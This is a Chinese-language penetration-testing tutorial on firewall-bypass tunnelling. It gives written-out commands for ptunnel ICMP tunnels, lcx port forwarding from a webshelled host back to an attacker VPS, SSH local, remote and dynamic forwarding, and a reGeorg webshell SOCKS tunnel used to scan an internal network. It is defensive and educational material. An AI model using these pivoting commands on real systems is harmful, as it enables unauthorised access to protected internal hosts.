通信隧道技术

首先先了解一下,什么是隧道?

这里的隧道,是一种绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后通过防火墙,与之进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据宝发送到相应的服务器上。

这句话有点绕口,简而言之其实就是,将不被防火墙允许的类型伪装成防火墙允许的类型/端口进行请求。

常用的隧道列举如下:

网络层:IPv6隧道、ICMP隧道、CRE隧道

传输层:TCP隧道、UDP隧道、常见的端口转发

应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

判断网络的连通性

判断网络的连通性是指判断及其能否上外网(出网)等,只根据部分协议去判断是狭义的,要综合各种协议(TCP、HTTP、HTTPS、DNS、ICMP等)以及端口通信情况。

常见的允许流量流出的端口有80、8080、443、53、110、123等

判断网络的连通性测试

 ICMP协议:

 执行命令 “ping ” 如下图所示

TCP协议:

netcat是一个短小精悍的工具,通过使用TCP或UDP进行连接和读取数据

nc ip port

HTTP协议:

curl是一个利用url规则在命令行下工作的文件传输工具,支持上传和下载,curl不仅支持http/https/ftp等协议,还支持post、cookie认证等

curl www.baidu.com:80

DNS协议:

进行DNS连通性探测时,常用的命令为nslookup/dig

nslookup是windows操作系统自带的DNS探测命令

dig是linux自带的DNS探测命令,在未指定vps-ip时,会自动到etc/resolv.conf文件读取系统配置的DNS服务器地址,若是指定vps-ip,且解析成功,说明DNS是连通的。

nslookup www.baidu.com:80

dig @192.168.43.1 www.baidu.com

ICMP隧道:

这里介绍一款工具,ping tunnel,此工具kali自带,也可以自行安装。这里只介绍使用方式

ptunnel -x

ptunnel -p 192.168.43.157 -lp 8888 -da 192.168.43.90 -dp 22 -x

-x : 指定ICMP隧道链接的验证码

-lp : 指定本地监听的端口

-da :目标地址

-dp :目标端口

-p :ICMP另一端机器的IP地址,即跳板机地址

本地搭建了一个小环境,分别为一台作为攻击者属性的VPS(Kali linux)

一台提供web服务的kali linux主机,ip地址为 192.168.43.90

一台与web服务器linux主机同一个内网的windows主机,ip地址为

192.168.43.144 ,该主机开放3389端口,但是仅能Linux主机进行访问

此次目的是通过kali主机访问windows 7 3389端口

首先假设我们已经获取了web服务器的权限,需第一步在web服务器开启服务端隧道

ptunnel -x

2. 在我们的VPS上面执行命令

ptunnel -p 192.168.43.90 -lp 8888 -da 192.168.43.144 -dp 3389 -x

3. 在VPS上访问本地 8888端口,即可成功连接

rdesktop 192.168.43.213:8888

此时隧道已经简历,且符合隐匿性

传输层隧道:

这里主要介绍lcx工具,lcx是一个基于Socket套接字来实现端口转发的工具。一个正常的socket隧道必须具备两个要素,分别是服务端用来监听端口,等待客户端连接;一个是客户端,通过传入服务端的ip地址和端口,才能主动与服务器连接。

使用方式如下:

在目标机输入如下命令,其中4444为本机监听端口,可为任意端口

lcx.exe -slave <攻击者ip地址> 4444 127.0.0.1 3389

在VPS主机上执行命令如下,将本机4444端口监听的数据转发至本机的5555端口, 4444端口需要与服务端监听地址一致,5555可为任意端口

lcx.exe -listen 4444 5555

此次带来的案例为,已经获取webshell的一台windows主机,10.10.59.247,此服务器开启了80服务,开启了3389端口,但是由于有防火墙,所以不可以直接连接。

VPS服务器地址为10.10.87.200

上传大马后,通过扫描端口发现此服务器开启了3389端口,由于开启了防火墙,所以需要对防火墙进行绕过,如下图所示

VPS打开cmd命令框,输入lcx  -listen 53 7777 ,如下图所示 53为映射端口,用来伪装,7777为传输端口,二者都可以使用任意端口,但是建议映射端口选择常见的

访问大马,进行端口转发,如下图,选择portmap

命令等同于:

lcx.exe  -slave 10.10.87.200 53 127.0.0.1 3389

打开远程连接,输入127.0.0.1:7777进行连接

nc 暂不介绍

应用层隧道:

常见的应用层协议有:ssh/http/https/dns

在内网中,几乎所有的Linux/Unix服务器和网络设备都是支持ssh协议的,ssh协议一般是允许通过防火墙与边界设备的。

一个普通的ssh连接如下:

ssh [email protected]

创建ssh隧道常见的参数如下:

-C :压缩传输,提高传输速度

-f :将ssh传输转入后台运行,不占用的当前的shell

-N : 建立静默链接,看不到对话

-g :允许远程主机连接本地用于转发的端口

-L : 本地端口转发

-R :远程端口转发

-D : 动态转发(Socks代理)

-P :指定ssh端口

动态转发案例:

某日一个小老弟向我求助,说客户来了一个系统,但是测试系统走专线,外网不能直接访问,加不了白名单。客户只给了一个跳板机,给了跳板机的Ip地址、除了登录啥也干不了的用户名和密码。思路就是外网VPS->访问跳板机->跳板机访问专线系统。

尴尬的就是,跳板机是linux系统,没权限,他不会搞,于是就来了。

客户给了代理服务器使tinyproxy,设立的http隧道,但是很多数据包会被吃掉,导致测试困难,且小老弟测试环境是windows系统,也不太会(没法用)tinyproxy

我一开始的思路是,直接上proxifier,但是绝对是想多了,即使在有用户名密码的前提下依然失败了,查阅了一些资料,原来是ssh隧道此时更加的方便

好了,废话不多说,首先利用的其实是ssh动态端口转发

本地执行如下命令

ssh -CfNg -D 7777 跳板机用户名@跳板机地址 -p 跳板机远程服务端口

netstat -ano | findstr "7777"    查看监听状态

浏览器设置socks代理

访问专线网络,成功访问

这种方式好处就是方便,缺点就是抓包就困难了,所以有了第二个方案

本地转发

本地执行如下命令

ssh -p 跳板机端口 -L 443:专线地址解析ip:443 -N 跳板机用户名@地址

查看监听状态:

将专线地址解析到本地hosts文件下,而后直接访问即可,不影响设置代理

图片与上一个一样,不拿出来了

远程转发:

老梗新用,依然是三台测试机,两台kali linux 一台windows 7 

只不过这回转一下192.168.43.90 ip地址换成192.168.43.213

在VPS主机输入如下命令:

将VBS的3301端口流量转发到目标主机的3389端口

ssh -CfNg -R 3301:192.168.43.144:3389 [email protected]

访问本地端口,即可成功访问到windows 7的远程服务

rdesktop 127.0.0.1:3301

http/https协议隧道

http代理用于将所有的流量转发到内网,常见的代理工具有 reGeorg、meterpreter/tunna 等

这里介绍reGeorg,此工具可前往github自行下载,里面附带jsp/php/asp隧道专用马子

此次项目为远古项目,隐约记得那个时候我还是一个翩翩少年,那个时候我的腰间盘还没有这么突出,不得不说,付先生年轻的时候是真的年轻~

拿到webshell后,上传隧道专用小马至可执行文件夹tunnel.nosocket.php

访问此隧道小马,如图所示说明解析成功

在reGeorg-master工具下使用cmd命令,输入python reGeorgSocksProxy.py -u ;-p 12345   -u为隧道马所在地址,-p为监听端口

此时隧道就打完了,但是你以为这就完了?

当然不是,接下来介绍下一款工具,一款Socks代理工具

Socks代理

socks是一种代理服务,可以简单的将一端的系统连接到另一端。Socks支持多种协议,包括http、FTP等。socks分为socks 4 和socks 5 两种类型。

socks 4只支持TCP协议,socks 5 不仅支持tcp/udp协议,还支持各种身份验证机制等,其标准端口为1080.

书归正传,reGeorg端口转发之后,其实并没有形成一个完整的回路,此时与工具proxifier联动形成回路

打开proxifier工具,打开配置文件设置代理,如图所示

设置代理为127.0.0.1  12345 并选择socks5

检查,如下结果为成功

设置代理规则

将工具添加到代理,而后实用工具即可扫描内网

此次介绍到此结束

声明:

本网站发布的项目中涉及的任何脚本,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性、准确性、完整性及有效性,请根据实际情况自行判断。

本网站对任何脚本及工具问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害。

间接使用本站中的任何工具及技术,包括但不限于漏洞挖掘或在某些行为违反国家/地区法律或相关法规的情况下进行传播,本网站对于由此引起的任何隐私泄漏或其他后果概不负责。

本网站保留随时更改或补充此免责声明的权利。一旦访问本网站项目,则视为

您已接受此免责声明。

您在本声明未发出之时点使用或者访问了该网站,则规为己接受此声明,请仔细阅读。